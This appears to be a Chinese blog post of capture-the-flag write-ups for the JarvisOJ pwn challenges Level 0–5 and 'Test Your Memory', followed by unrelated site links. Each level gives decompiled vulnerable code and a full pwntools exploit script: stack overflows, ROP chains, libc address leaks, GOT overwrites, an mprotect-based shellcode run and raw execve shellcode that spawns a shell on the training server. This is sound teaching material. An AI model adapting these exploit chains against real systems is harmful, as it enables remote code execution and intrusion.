Jarvisoj_WP
文章目录
- @[toc]
- **JarvisOJ - Level 0**
- **EXP**
- **JarvisOJ - Level 1**
- **EXP**
- **JarvisOJ - Level 2**
- **EXP**
- **JarvisOJ - Level 2_x64**
- **EXP**
- **JarvisOJ - Level 3**
- **EXP**
- **JarvisOJ - Level 3_64**
- **EXP**
- **JarvisOJ - Level 4**
- **EXP**
- **JarvisOJ - Level 5**
- **EXP**
- **JarvisOJ - Test Your Memory**
- **EXP**
JarvisOJ - Level 0
题目链接
类型:ret2text
先把文件拖进虚拟机,64位ELF文件,只开启了NX保护
用IDA反编译,main函数会调用vulnerable_function,另外程序里还有一个callsystem()
Vulnerable_function里的read()可以读取0x200个字节,但只有0x80的内存
所以打算通过read()覆盖返回地址,跳转到callsystem.查看callsystem的地址
EXP
JarvisOJ - Level 1
题目链接
类型:ret2shellcode
这次拿到的是32位
int __cdecl main(int argc, const char **argv, const char **envp)
{vulnerable_function();write(1, "Hello, World!\n", 0xEu);return 0;
}
ssize_t vulnerable_function()
{char buf; // [sp+0h] [bp-88h]@1printf("What's this:%p?\n", &buf);return read(0, &buf, 0x100u);
}
buf大小为0x88,于是想把一段shellcode写在buf上,然后使返回地址指向buf
EXP
#-*- coding: utf-8 -*-
from pwn import *p = remote('pwn2.jarvisoj.com', 9877)
#p = process("./level1")text = p.recvline()[14:-2]
print text[14:-2]buf_addr = int(text, 16)
shellcode = asm(shellcraft.sh()) #生成一段shellcode并转化成字符串payload = 'a' * (0x88+4-len(shellcode)) + shellcode + p32(buf_addr) #先填a再填shellcode
p.send(payload)
p.interactive()
成功得到flag
JarvisOJ - Level 2
题目链接
类型:ret2syscall
这次的vulnerable_function()是这样的,buf大小为0x88
在程序里找到system函数和/bin/sh
字符串,得到地址
EXP
from pwn import * p = remote('pwn2.jarvisoj.com', 9878)
#p = process("./level2")system_addr = 0x08048320
sh_addr = 0x0804A024payload = 'a' * 0x88 + "bbbb" + p32(system_addr) + p32(0xdeadbeef) + p32(sh_addr)
p.sendlineafter("Input:\n", payload)
p.interactive()
返回地址指向system,buf返回地址的上方有另一个返回地址,为system函数执行后的返回地址,任意填充,后面再放上将system需要的参数&’/bin/sh’
JarvisOJ - Level 2_x64
题目链接
类型:ret2syscall
64位ret2syscall,代码与上一题32位一样,read()允许读入的容量比buf大得多,文件里也有system和"/bin/sh"
EXP
from pwn import* p = remote('pwn2.jarvisoj.com','9882')
#p = process("./level2_64")
#elf = ELF('./level2_x64')pop_rdi_addr = 0x00000000004006b3 #pop rdi
#sh_addr = elf.search('/bin/sh').next()
sh_addr = 0x0000000000600A90 #'/bin/sh'
#system_addr = elf.symbols['system']
system_addr = 0x0000000000400603 #systempayload = 'a' * 0x80 + "bbbbcccc" + p64(pop_rdi_addr) + p64(sh_addr) + p64(system_addr)
p.sendline(payload)
p.interactive()
得到flag
JarvisOJ - Level 3
题目链接
类型:ret2libc
题目是32位NX保护,给了一个level3和一个libc文件。buf容量为0x88
int __cdecl main(int argc, const char **argv, const char **envp)
{vulnerable_function();write(1, "Hello, World!\n", 0xEu);return 0;
}
ssize_t vulnerable_function()
{char buf; // [sp+0h] [bp-88h]@1write(1, "Input:\n", 7u);return read(0, &buf, 0x100u);
}
vulnerable_function()中用了write函数,可以知道write函数在内存中的地址。通过libc中write和system函数的相对位置,算出system在内存中的地址。
在libc中查找’/bin/sh’和system的位置
.rodata:00162D4C aBinSh db '/bin/sh',0 ; DATA XREF: sub_3FDA0+43Bo
.text:00040310 public system ; weak
在level3中搜索vulnerable_function和write的地址
.text:0804844B public vulnerable_function
.plt:08048340 ; ssize_t write(int fd, const void *buf, size_t n)
EXP
#-*- coding: utf-8 -*-
from pwn import * #p = process('./level3')
p = remote("pwn2.jarvisoj.com",9879)
libc = ELF('./libc-2.19.so')
e = ELF('./level3')vulfun_addr = 0x0804844B #vulnerable_function的地址
write_plt = e.symbols['write'] #write函数在plt表中的地址
#write_got = e.got['write']
write_got = 0x0804A018 #write函数在got表中的地址payload1 = 'a' * 0x88 + "bbbb" + p32(write_plt) + p32(vulfun_addr) + p32(1) + p32(write_got) + p32(4) #溢出地址+返回地址+参数
p.recvuntil("Input:\n")
p.sendline(payload1)write_addr = u32(p.recv(4))libc_write = libc.symbols['write'] #write函数在libc中的位置
#libc_system = libc.symbols['system']
#libc_sh = libc.search('/bin/sh').next()
#libc_read_addr = 0x000dde30
libc_system = 0x00040310 #system函数在libc中的位置
libc_sh = 0x162d4c #'/bin/sh'函数在libc中的位置
system_addr = write_addr - libc_write + libc_system #计算system在内存中的位置
sh_addr = write_addr - libc_write + libc_sh #计算'/bin/sh'在内存中的位置payload2 = 'a' * 0x88 + "bbbb" + p32(system_addr) + p32(0xdeadbeef) + p32(sh_addr) #栈结构同level2
p.sendline(payload2)
p.interactive()
JarvisOJ - Level 3_64
题目链接
类型:ret2libc
level3的64位版本,思路同level3一样,先写出write函数的地址,再利用得到system和"/bin/sh"的地址
.text:00000000004005E6 public vulnerable_function
用寄存器实现跳转,搜索pop语句
ph4ntom@ubuntu:~$ ROPgadget --binary level3_x64 --only 'pop|ret'
Gadgets information
============================================================
0x00000000004006ac : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006ae : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006b0 : pop r14 ; pop r15 ; ret
0x00000000004006b2 : pop r15 ; ret
0x00000000004006ab : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006af : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400550 : pop rbp ; ret
0x00000000004006b3 : pop rdi ; ret //选择的语句
0x00000000004006b1 : pop rsi ; pop r15 ; ret //选择的语句
0x00000000004006ad : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400499 : retUnique gadgets found: 11
由于系统调用经常要用到,这里贴一个x86 & x64 Linux 系统调用号表:Linux系统调用号
EXP
from pwn import*#p = process('./level3_x64')
p = remote('pwn2.jarvisoj.com',9883)libc = ELF('./libc-2.19.so')
e = ELF('./level3_x64')pop_rdi_ret = 0x00004006b3 #pop rdi;ret
pop_rsi_ret = 0x00004006b1 #pop rsi;pop r15;ret
write_plt = e.symbols['write']
#write_plt = 0x00000000004004B0
write_got = e.got['write']
#write_got = 0x0000000000600A58
vul_addr = e.symbols['vulnerable_function']
#vul_addr = 0x4005e6payload1 = 'a' * pad + p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_ret) + p64(write_got) + p64(0xdeadbeef) + p64(write_plt) + p64(vul_addr)
p.recvuntil("Input:\n")
p.sendline(payload1)write_addr = u64(p.recv(8)[0:8])
print(write_addr)libc_write = libc.symbols['write']
#libc_write = 0x00000000000EF3B0
libc_system = libc.symbols['system']
#libc_system = 0x0000000000046590
libc_sh = libc.search('/bin/sh').next()
#libc_sh = 0x0000000000180543system_addr = write_addr - libc_write + libc_system
sh_addr = write_addr - libc_write + libc_shpayload2 = 'a' * 0x80 + "bbbbcccc" + p64(pop_rdi_ret) + p64(sh_addr) + p64(system_addr) + p64(0xdeadbeef)
p.sendline(payload2)
p.interactive()
p.close()
运行的时候发现总是报错,调试了好久发现是因为libc文件没有换成本题的,还在用level3的,下次可要记住了
JarvisOJ - Level 4
题目链接
类型:ret2libc(DynELF)
level3无libc文件版本,在vulnerabel_function里也没有write函数
int __cdecl main(int argc, const char **argv, const char **envp)
{vulnerable_function();write(1, "Hello, World!\n", 0xEu);return 0;
}
ssize_t vulnerable_function()
{char buf; // [sp+0h] [bp-88h]@1return read(0, &buf, 0x100u);
}
由于没有提供libc文件,这一题是通过DynELF
远程获取libc。这里构建一个leak函数用于泄露libc中一些函数的地址,便于重复利用
除了没有libc文件,本题也没有"/bin/sh"字符串,所以选择把字符串写在bss段上
EXP
#-*- coding: utf-8 -*-
from pwn import *#p = process('./level4')
p = remote('pwn2.jarvisoj.com','9880')e = ELF('./level4')
write_plt = e.symbols['write']
vul_addr = e.symbols['vulnerable_function']
bss_addr = 0x0804A024 #bss段的地址
def leak(addr): #构造leakpayload = 'a' * 0x88 + "bbbb"payload += p32(write_plt)payload += p32(vul_addr)payload += p32(0x1)payload += p32(addr)payload += p32(0x4)p.send(payload)data = p.recv(4)return datad = DynELF(leak,elf = e)
system_addr = d.lookup('system','libc')#read_addr = e.symbols['read']
#read_addr = d.lookup('read','libc')
read_addr = 0x08048310 #read函数用于写入字符串
payload2 = 'a' * 0x88 + "bbbb" + p32(read_addr) + p32(vul_addr) + p32(0) + p32(bss_addr) + p32(8) #写入"/bin/sh"
p.send(payload2)
p.sendline('/bin/sh')payload3 = 'a' * 0x88 + "bbbb" + p32(system_addr) + p32(0xdeadbeef) + p32(bss_addr)
p.sendline(payload3)
p.interactive()
JarvisOJ - Level 5
题目链接
类型:ret2csu
libc好复杂而且题目好多,终于来到终极中级ROP
题目说明是这样的
mmap
和mprotect
练习,假设system和execve函数被禁用,请尝试使用mmap
和mprotect
完成本题
附件同level3_x64
连文件都不换一个,懒到不敢相信。mmap
和mprotect
都与读写权限有关,mmap
是将文件映射到一段内存去同时设置那段内存的属性可读可写或者是可执行,mprotect
函数则是从addr开始的长度为len的内存的访问权限
既然是csu,先看一看_libc_csu_init
函数,找到传递参数的6个寄存器
.text:0000000000400650 ; void _libc_csu_init(void)
.text:0000000000400650 public __libc_csu_init
.text:0000000000400650 __libc_csu_init proc near ; DATA XREF: _start+16o
.text:0000000000400650 push r15
.text:0000000000400652 mov r15d, edi
.text:0000000000400655 push r14
.text:0000000000400657 mov r14, rsi
.text:000000000040065A push r13
.text:000000000040065C mov r13, rdx
.text:000000000040065F push r12
.text:0000000000400661 lea r12, __frame_dummy_init_array_entry
.text:0000000000400668 push rbp
.text:0000000000400669 lea rbp, __do_global_dtors_aux_fini_array_entry
.text:0000000000400670 push rbx
.text:0000000000400671 sub rbp, r12
.text:0000000000400674 xor ebx, ebx
.text:0000000000400676 sar rbp, 3
.text:000000000040067A sub rsp, 8
.text:000000000040067E call _init_proc
.text:0000000000400683 test rbp, rbp
.text:0000000000400686 jz short loc_4006A6
.text:0000000000400688 nop dword ptr [rax+rax+00000000h]
.text:0000000000400690
.text:0000000000400690 loc_400690: ; CODE XREF: __libc_csu_init+54j
.text:0000000000400690 mov rdx, r13 /利用
.text:0000000000400693 mov rsi, r14
.text:0000000000400696 mov edi, r15d
.text:0000000000400699 call qword ptr [r12+rbx*8]
.text:000000000040069D add rbx, 1
.text:00000000004006A1 cmp rbx, rbp
.text:00000000004006A4 jnz short loc_400690
.text:00000000004006A6
.text:00000000004006A6 loc_4006A6: ; CODE XREF: __libc_csu_init+36j
.text:00000000004006A6 add rsp, 8 /利用
.text:00000000004006AA pop rbx
.text:00000000004006AB pop rbp
.text:00000000004006AC pop r12
.text:00000000004006AE pop r13
.text:00000000004006B0 pop r14
.text:00000000004006B2 pop r15
.text:00000000004006B4 retn
.text:00000000004006B4 __libc_csu_init endp
pop rdi; ret
和pop rsi; pop r15; ret
在level3_x64中都已经得到了,同样这里也用系统调用将bss和mprotect
写进got表
EXP
#-*- coding: utf-8 -*-
from pwn import*
context.log_level = "debug"p=remote('pwn2.jarvisoj.com',9884)
e = ELF("./level3_x64")
libc = ELF("./libc-2.19.so")write_plt = e.plt["write"]
write_got = e.got["write"]
vul_addr = e.symbols["vulnerable_function"]
rdi = 0x00000000004006b3
rsi_r15 = 0x00000000004006b1#用write写出write函数的地址
payload1 = 'a' * 0x80 + "bbbbcccc" + p64(rdi) + p64(1) + p64(rsi_r15) + p64(write_got) + p64(0xdeadbeef) + p64(write_plt) + p64(vul_addr)
p.recvline()
p.send(payload1)
tmp = p.recv(8)
write_addr = u64(tmp[0:8])
print hex(write_addr)offset = write_addr-libc.symbols['write'] #用于后续计算mprotect函数的地址#用read将shellcode写入bss段
bss_addr = e.bss() #bss的地址,用bss储存shellcode
read_plt = e.symbols['read'] #read的位置,用于写入shellcode
payload2 = 'a' * 0x80 + "bbbbcccc" + p64(rdi) + p64(0) + p64(rsi_r15) + p64(bss_addr) + p64(0xdeadbeef) + p64(read_plt) + p64(vul_addr)
p.recvline()
p.send(payload2)
shell_code = '\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'
p.send(shell_code)#把bss添加到got表
bss_got = 0x0000000000600A48
payload3 = 'a' * 0x80 + "bbbbcccc" + p64(rdi) + p64(0) + p64(rsi_r15) + p64(bss_got) + p64(0xdeadbeef) + p64(read_plt) + p64(vul_addr)
p.recvline()
p.send(payload3)
p.send(p64(bss_addr))#把mprotect添加到got表
mprot_got = 0x0000000000600A50
mprot_addr = libc.symbols['mprotect'] + offset
payload4 = 'a' * 0x80 + "bbbbcccc" + p64(rdi) + p64(0) + p64(rsi_r15) + p64(mprot_got) + p64(0xdeadbeef) + p64(read_plt) + p64(vul_addr)
p.recvline()
p.send(payload4)
p.send(p64(mprot_addr))payload5 = 'a' * 0x80 + "bbbbcccc" + p64(0x4006A6) + "ret_addr" + p64(0) + p64(1) + p64(mprot_got) + p64(7) + p64(0x1000) + p64(0x600000) #跳到4006A6,ret_addr模拟压栈,最后六个值分别赋给rbx, rbp, r12, r13, r14, r15,实现调用mprotect
payload5 += p64(0x400690) + "ret_addr" + p64(0) + p64(1) + p64(bss_got) + p64(0) + p64(0) + p64(0) #同上,执行shellcode
payload5 += p64(0x400690) #向下执行
p.recvline()
p.send(payload5)
sleep(5) #延迟程序运行,否则不成功,不知道原因
p.interactive()
JarvisOJ - Test Your Memory
题目链接
类型:ret2csu
不知道是什么,拖进IDA看看再说
int __cdecl main(int argc, const char **argv, const char **envp)
{unsigned int v3; // eax@1_BYTE v5[3]; // [sp+1Dh] [bp-13h]@2signed int v6; // [sp+28h] [bp-8h]@1signed int i; // [sp+2Ch] [bp-4h]@1v6 = 10;puts("\n\n\n------Test Your Memory!-------\n");v3 = time(0);srand(v3);for ( i = 0; i < v6; ++i )v5[i] = alphanum_2626[rand() % 0x3Eu];printf("%s", v5);mem_test(v5);return 0;
}
int __cdecl mem_test(char *s2)
{int result; // eax@2char s; // [sp+15h] [bp-13h]@1memset(&s, 0, 0xBu);puts("\nwhat???? : ");printf("0x%x \n", hint);puts("cff flag go go go ...\n");printf("> ");__isoc99_scanf("%s", &s);if ( !strncmp(&s, s2, 4u) ) //比较两个字符串s,s2result = puts("good job!!\n");elseresult = puts("cff flag is failed!!\n");return result;
}
mem_test()这里有用到scanf(),程序里有system和“/bin/sh",这就很简单,一道ret2syscall
EXP
#-*- coding: utf:8 -*-
from pwn import *#p = process('./memory')
p = remote("pwn2.jarvisoj.com","9876")
e = ELF('./memory')system_addr = e.symbols['system'] #0x08048440,plt段
cat_flag = 0x080487E0 #rodata段,&("cat flag")
#print("%#x"%system_addr)
payload = 'a' * 0x13 + 'bbbb' + p32(system_addr) + p32(0x08048677) + p32(cat_flag) #int->str,返回地址为main()p.sendline(payload)
p.interactive()
Jarvisoj_WP相关推荐
最新文章
- linux 命令窗口美化,美化你的命令行终端Terminal
- CF858F Wizard's Tour 解题报告
- Java设计模式——工厂模式
- 关于CATALINA_BASE
- 用jQuery监听浏览器窗口的变化
- css碎步测量,CORS系统控制点点位可靠性研究.doc
- leetcode 79.单词搜索 dfs
- 中文文档列表 - Oracle Database (文档 ID 1533057.1)
- PC机组成——主板、芯片组与BIOS
- 计算机在职研究生跨专业有哪些,可以跨专业报考的在职研究生专业有哪些?
- 排序算法伪代码以及python实现——插入,归并,快速,堆,计数
- 如何锁定win10笔记本键盘
- python语言画成圆相切_在python中如何使用循环结构画四个相切的圆
- 我开着车 你带着我
- VS_Code快捷自定义代码块,助你一臂之力
- 浮云绘图编辑器之文字、图片基础图元操作及源码,用于文本描述及拓扑图、平面布局图开发
- CortexM3与CortexM0的bus matrix
- Spark-000讲:What is Spark ?
- 数位 dp 相邻位数字差值的绝对值不能超过 2_维懂百科——绝对值编码器的“绝对式”的定义...
- 谁能想到微软CRM也能用上SliverLight?——微软CRM炫酷介绍之二
热门文章
- java对接支付宝支付(手机网站支付)
- 【正点原子FPGA连载】第四章 Vivado软件的安装和使用 -摘自【正点原子】领航者ZYNQ之FPGA开发指南_V2.0
- 争议最大的神经网络:绝顶聪明or傻透顶了 ?
- 各种通信铁塔和机房类型介绍,别再傻傻分不清了
- 有眼界才有境界,有实力才有魅力,有思路才有出路,有作为才有地位。
- cee怎么把大图片放进小盒子_PS的实际应用:怎么给盒子制作包装图片
- 转:对冲基金交易策略框架
- final review 报告
- android自定义view之九宫格解锁
- (转)Android系统WAP上网设置